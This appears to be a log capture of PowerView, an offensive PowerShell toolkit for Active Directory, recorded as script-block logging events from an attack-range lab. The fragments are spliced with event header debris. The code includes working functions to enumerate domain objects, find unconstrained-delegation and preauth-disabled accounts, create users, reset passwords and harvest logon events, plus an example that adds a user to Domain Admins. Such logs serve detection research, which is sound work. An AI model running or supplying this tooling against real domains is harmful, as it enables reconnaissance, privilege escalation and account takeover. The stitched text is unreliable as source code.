if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$CompSearcher = Get-DomainSearcher @SearcherArguments
if (-not $CompSearcher) {
Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
else {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['Unconstrained']) {
Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['Printers']) {
Write-Verbose '[Get-DomainComputer] Searching for printers'
$Filter += '(objectCategory=printQueue)'
}
if ($PSBoundParameters['SPN']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
$Filter += "(servicePrincipalName=$SPN)"
}
if ($PSBoundParameters['OperatingSystem']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
$Filter += "(operatingsystem=$OperatingSystem)"
}
if ($PSBoundParameters['ServicePack']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
if ($PSBoundParameters['SiteName']) {
Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
$Filter += "(serverreferencebl=$SiteName)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
else { $Results = $CompSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Up = $True
if ($PSBoundParameters['Ping']) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
}
if ($Up) {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$Computer = $_
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
}
else {
$Computer = Convert-LDAPProperty -Properties $_.Properties
$Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
}
$Computer
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
}
}
$CompSearcher.dispose()
}
}
}
function Get-DomainObject {
<#
.SYNOPSIS
Return all (or specified) domain objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainObject -Domain testlab.local
Return all objects for the testlab.local domain
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
distinguishedname
-----------------
CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
CN=dfm,CN=Users,DC=testlab,DC=local
OU=OU3,DC=testlab,DC=local
CN=dfm (admin),CN=Users,DC=testlab,DC=local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObject -Credential $Cred -Identity 'windows1'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
distinguishedname
-----------------
CN=harmj0y,CN=Users,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
.OUTPUTS
PowerView.ADObject
Custom PSObject with translated AD object property fields.
PowerView.ADObject.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.ADObject')]
[OutputType('PowerView.ADObject.Raw')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($ObjectSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$ObjectSearcher = Get-DomainSearcher @SearcherArguments
if (-not $ObjectSearcher) {
Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$Identityac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111929Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1248Object.TypeNames.Insert(0, 'PowerView.User.Raw')
}
else {
$User = Convert-LDAPProperty -Properties $_.Properties
$User.PSObject.TypeNames.Insert(0, 'PowerView.User')
}
$User
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
}
}
$UserSearcher.dispose()
}
}
}
function New-DomainUser {
<#
.SYNOPSIS
Creates a new domain user (assuming appropriate permissions) and returns the user object.
TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
.PARAMETER SamAccountName
Specifies the Security Account Manager (SAM) account name of the user to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created user. Mandatory.
.PARAMETER Name
Specifies the name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER DisplayName
Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
.PARAMETER Description
Specifies the description of the user to create.
.PARAMETER Domain
Specifies the domain to use to search for user/group principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
# the XML filter we're passing to Get-WinEvent
$XPathFilter = @"
<QueryList>
<Query Id="0" Path="Security">
<!-- Logon events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4624)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
and
*[EventData[Data[@Name='TargetUserName'] != 'ANONYMOUS LOGON']]
</Select>
<!-- Logon with explicit credential events -->
<Select Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and (Level=4 or Level=0) and (EventID=4648)
and TimeCreated[
@SystemTime>='$($StartTime.ToUniversalTime().ToString('s'))' and @SystemTime<='$($EndTime.ToUniversalTime().ToString('s'))'
]
]
]
</Select>
<Suppress Path="Security">
*[
System[
Provider[
@Name='Microsoft-Windows-Security-Auditing'
]
and
(Level=4 or Level=0) and (EventID=4624 or EventID=4625 or EventID=4634)
]
]
and
*[
EventData[
(
(Data[@Name='LogonType']='5' or Data[@Name='LogonType']='0')
or
Data[@Name='TargetUserName']='ANONYMOUS LOGON'
or
Data[@Name='TargetUserSID']='S-1-5-18'
)
]
]
</Suppress>
</Query>
</QueryList>
"@
$EventArguments = @{
'FilterXPath' = $XPathFilter
'LogName' = 'Security'
'MaxEvents' = $MaxEvents
}
if ($PSBoundParameters['Credential']) { $EventArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Computer in $ComputerName) {
$EventArguments['ComputerName'] = $Computer
Get-WinEvent @EventArguments| ForEach-Object {
$Event = $_
$Properties = $Event.Properties
Switch ($Event.Id) {
# logon event
4624 {
# skip computer logons, for now...
if(-not $Properties[5].Value.EndsWith('$')) {
$Output = New-Object PSObject -Property @{
ComputerName = $Computer
TimeCreated = $Event.TimeCreated
EventId = $Evac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111928Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1148puter') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
